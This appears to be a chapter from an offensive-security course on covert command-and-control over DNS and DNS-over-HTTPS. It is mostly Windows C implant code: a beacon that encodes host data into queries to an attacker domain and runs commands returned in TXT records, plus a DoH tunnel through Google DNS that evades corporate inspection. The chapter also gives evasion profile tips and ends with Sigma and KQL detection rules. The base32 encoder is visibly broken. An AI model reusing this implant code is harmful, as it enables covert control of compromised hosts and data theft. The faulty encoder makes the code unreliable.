Chapter 192

DNS and HTTPS C2 Channels

DNS is the most reliable covert channel in enterprise networks — it is rarely fully blocked, often uninspected beyond domain reputation, and provides a protocol that inherently carries arbitrary data in query labels and response records. HTTPS C2 over legitimate-looking domains is the highest-bandwidth option. Understanding both channels at the protocol level — how data is encoded, where it hides, what it looks like to a DNS resolver versus a full PCAP analyst — is essential for both operators and the detection engineers who hunt them.

Scenario

Your HTTPS C2 channel was blocked by the target's web proxy after domain reputation blocking flagged your newly-registered domain. You need a fallback C2 channel that works even when all direct outbound HTTPS to unknown domains is blocked — as long as the host can resolve external DNS (which it can, forwarded through the corporate DNS resolver). Design a DNS C2 channel that survives this network posture.

DNS C2 Mechanics

DNS C2 DATA FLOW ═══════════════════════════════════════════════════════════════════════ IMPLANT CORP DNS ATTACKER NS ─────────────────────── ────────────── ────────────────── Data to send: "whoami" base32 encode → NBSWY3DP Query: NBSWY3DP.seq0001.c2.attacker[.]com → forward → NS lookup │ attacker NS returns: A 1.2.3.4 (encoded cmd) TXT "base32_tasking" Result parsed ←──────────────────────────────────────────────┘ UPLINK (implant → C2): data in subdomain labels (query hostname) DOWNLINK (C2 → implant): data in A/TXT/CNAME response records ═══════════════════════════════════════════════════════════════════════ CAPACITY: DNS label: max 63 chars per label, max 253 total FQDN length Base32: 5 bits/char → 63 chars = ~39 bytes per label A record: 4 bytes per response (IPv4 address = encoded data) TXT record: up to 255 bytes per string, multiple per response Practical uplink throughput: ~30-60 bytes per query

DNS Beacon Implementation

// DNS C2 beacon: sends data in subdomain labels, receives commands in TXT records.
// Uses DnsQuery_W (Windows DNS API) — no raw socket privileges needed.
// Base32 encoding: RFC 4648 alphabet (A-Z2-7), safe for DNS labels.

#include <windows.h>
#include <windns.h>
#pragma comment(lib, "dnsapi.lib")

static const char B32[] = "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567";

void Base32Encode(const BYTE* in, DWORD inLen, char* out) {
    int i = 0, idx = 0;
    BYTE cur, next;
    while (idx < (int)inLen) {
        cur  = in[idx];
        next = (idx + 1 < (int)inLen) ? in[idx+1] : 0;
        switch (i % 5) {
            case 0: out[i>>3*8/5] = B32[(cur>>3)&0x1F]; break;
            case 1: out[i>>3*8/5] = B32[((cur&7)<<2)|((next&0xC0)>>6)]; idx++; break;
        }
        i++;
    }
    out[i] = 0;
}

// Send data chunk via DNS query, receive TXT response
BOOL DnsSend(const BYTE* data, DWORD len, DWORD seq,
              char* replyBuf, DWORD replyMax) {
    char encoded[128] = {0};
    Base32Encode(data, (len > 38 ? 38 : len), encoded);

    char fqdn[256];
    sprintf_s(fqdn, "%s.%05u.c2.attacker[.]com", encoded, seq);

    WCHAR wFqdn[256];
    MultiByteToWideChar(CP_ACP, 0, fqdn, -1, wFqdn, 256);

    PDNS_RECORD pRec = NULL;
    DNS_STATUS r = DnsQuery_W(wFqdn, DNS_TYPE_TEXT,
        DNS_QUERY_BYPASS_CACHE, NULL, &pRec, NULL);

    if (r == ERROR_SUCCESS && pRec) {
        // TXT record contains base32-encoded command from attacker NS
        if (pRec->wType == DNS_TYPE_TEXT) {
            PSTR* strings = pRec->Data.TXT.pStringArray;
            strncpy_s(replyBuf, replyMax, strings[0], replyMax-1);
        }
        DnsRecordListFree(pRec, DnsFreeRecordList);
        return TRUE;
    }
    return FALSE;
}

VOID DnsBeaconLoop() {
    BYTE  buf[38];
    char  reply[256];
    DWORD seq = 0;

    // First check-in: send hostname + username
    CHAR hostUser[38] = {0};
    gethostname(hostUser, 16);

    while (TRUE) {
        DnsSend((BYTE*)hostUser, (DWORD)strlen(hostUser), seq++, reply, sizeof(reply));
        if (strlen(reply))
            ProcessCommand(reply);
        Sleep(ApplyJitter(30000, 25));
    }
}

DNS-over-HTTPS C2

// DoH (RFC 8484): DNS queries wrapped in HTTPS to a DoH resolver.
// Bypasses corporate DNS inspection — traffic looks like HTTPS to 8.8.8.8 or 1.1.1.1.
// Corporate DNS resolver is bypassed entirely if DoH is allowed outbound.
// Many org proxies explicitly allow Google DNS (8.8.8.8:443) and Cloudflare (1.1.1.1:443).

// DoH request: GET https://dns.google/resolve?name=DATA.c2.attacker.com&type=TXT
// Response: JSON with "Answer" array containing TXT records.

// WinHTTP DoH query:
BOOL DoHQuery(const char* fqdn, char* result, DWORD resultMax) {
    WCHAR url[512];
    swprintf_s(url, L"https://dns.google/resolve?name=%S&type=TXT",
               fqdn);  // %S = char* → wide

    HINTERNET hSess = WinHttpOpen(L"Mozilla/5.0 ...",
        WINHTTP_ACCESS_TYPE_DEFAULT_PROXY,
        WINHTTP_NO_PROXY_NAME, WINHTTP_NO_PROXY_BYPASS, 0);
    HINTERNET hConn = WinHttpConnect(hSess, L"dns.google", 443, 0);
    HINTERNET hReq  = WinHttpOpenRequest(hConn, L"GET", url,
        NULL, WINHTTP_NO_REFERER, WINHTTP_DEFAULT_ACCEPT_TYPES,
        WINHTTP_FLAG_SECURE);
    WinHttpSendRequest(hReq, WINHTTP_NO_ADDITIONAL_HEADERS, 0,
        NULL, 0, 0, 0);
    WinHttpReceiveResponse(hReq, NULL);

    // Read JSON response, parse "data" field from Answer section
    char json[4096]; DWORD read = 0;
    WinHttpReadData(hReq, json, sizeof(json)-1, &read);
    json[read] = 0;

    // Extract TXT value between "\"data\":\"" and "\""
    char* start = strstr(json, "\"data\":\"");
    if (start) {
        start += 8;
        char* end = strchr(start, '"');
        if (end) {
            DWORD len = (DWORD)(end - start);
            if (len < resultMax) { memcpy(result, start, len); result[len]=0; }
        }
    }
    WinHttpCloseHandle(hReq);
    WinHttpCloseHandle(hConn);
    WinHttpCloseHandle(hSess);
    return (result[0] != 0);
}

Malleable HTTPS Profile Concepts

MALLEABLE C2 PROFILE ELEMENTS ═══════════════════════════════════════════════════════════════════════ GOAL: make beacon traffic indistinguishable from legitimate application traffic CUSTOMIZABLE ELEMENTS: ┌─────────────────────────────────────────────────────────────────┐ │ URI paths │ /api/v2/telemetry, /cdn/assets/app.js │ │ HTTP headers │ X-Correlation-Id, X-Request-Id (copy from app)│ │ User-Agent │ Exact string from target org's browser version│ │ Tasking embed │ Cookie: session=base64(encrypted_task) │ │ Result embed │ POST body: JSON {"data":"base64_result"} │ │ Sleep jitter │ 10-120s random │ │ Response body │ Legitimate HTML/CSS returned alongside tasking│ └─────────────────────────────────────────────────────────────────┘ OPSEC GOAL: Network analyst sees: POST /api/v2/telemetry with JSON body to cdn.trusted-saas[.]com (legitimate CDN IP) — looks like application telemetry. Content is AES-GCM encrypted inside HTTPS. ═══════════════════════════════════════════════════════════════════════

C2 Channel Comparison

ChannelBandwidthFirewall bypassDetection difficultyLatency
DNS TXT/A~60 bytes/queryHigh — rarely blockedHigh (volume + entropy analytics)High (~seconds/query)
DoH (HTTPS to 8.8.8.8)Same as DNSVery high — proxy allows Google DNSVery high (trusted endpoint)High
HTTPS malleableHigh (KB/s)Medium — proxy may block new domainsMedium (behavioral only)Low
SMB named pipeHighN/A (internal only)Medium (Event 5145)Very low
ICMP tunnelLow (~64B/packet)Low — often blocked at perimeterLow (ICMP with data payload)Medium

Detection Engineering

title: High DNS Query Rate with High Subdomain Entropy
logsource:
  product: zeek
  service: dns
detection:
  selection:
    qtype: TXT
  timeframe: 60s
  condition: selection | count() by src_ip,query_root_domain > 20
level: high
tags: [attack.command_and_control, T1071.004]

title: Long DNS Subdomain Labels (Possible Data Exfil/C2)
logsource:
  product: zeek
  service: dns
detection:
  selection:
    query|re: '^[A-Z2-7]{40,}'  # Base32 pattern in first label
  condition: selection
level: high

-- MDE KQL: DNS C2 — high query volume per domain root
DeviceNetworkEvents
| where Timestamp > ago(1h)
| where ActionType == "DnsConnectionInspected"
   or ActionType == "DnsQueryResponse"
| extend domain_root = extract(@"[^.]+\.[^.]+$", 0, RemoteUrl)
| summarize
    query_count   = count(),
    unique_labels = dcount(RemoteUrl),
    avg_label_len = avg(strlen(RemoteUrl))
    by DeviceName, domain_root, InitiatingProcessFileName, bin(Timestamp, 5m)
| where query_count > 50 and unique_labels > 30
| order by query_count desc

-- MDE KQL: outbound HTTPS to DNS resolver (DoH bypass)
DeviceNetworkEvents
| where Timestamp > ago(1d)
| where RemotePort == 443
| where RemoteIP in ("8.8.8.8","8.8.4.4","1.1.1.1","1.0.0.1","9.9.9.9")
| where InitiatingProcessFileName !in~ (
    "chrome.exe","msedge.exe","firefox.exe","svchost.exe")
| project Timestamp, DeviceName, InitiatingProcessFileName,
    RemoteIP, RemotePort, SentBytes, ReceivedBytes

Q&A

A DNS C2 channel uses only A record responses (4-byte IPv4 addresses) instead of TXT records. How does the operator encode commands in 4-byte packets, and what is the capacity/latency tradeoff?

A record responses return exactly 4 bytes per record (the IPv4 address octets). The attacker's authoritative name server controls what A record it returns for each query. This is exploitable as a downlink channel: the command byte stream is fragmented into 4-byte chunks, and each chunk is encoded as a fake IPv4 address. The implant makes sequential queries (e.g., seq0000.c2.attacker.com, seq0001.c2.attacker.com, …) and reassembles the A record responses into the command byte stream.

Capacity: 4 bytes per round-trip DNS query. A 200-byte command requires 50 sequential queries. At a corporate DNS resolver latency of ~20-100ms per query, that's 1-5 seconds for 200 bytes — workable for short commands like whoami or short PowerShell snippets, but impractical for downloading shellcode. Optimisation: the name server can return multiple A records per response (DNS supports multiple RR per answer section), giving 4×N bytes per query. Most resolvers forward all records. With 4 A records per response, you get 16 bytes per query — 200 bytes in 13 queries (~260ms-1.3s).

The tradeoff: A records are universally allowed and logged with less scrutiny than TXT records (TXT is associated with SPF/DKIM configs, not arbitrary hostname lookups). A record-based downlink is more network-transparent. However, fake RFC-1918 or loopback addresses in A records (10.x.x.x, 192.168.x.x, 127.0.0.x) are conspicuous if inspected. The attacker typically uses routable-looking addresses (e.g., in the 1.x.x.x range) as byte encoding space, at the cost that the implant must not actually attempt to connect to these addresses — it just reads the bytes and discards the IP interpretation.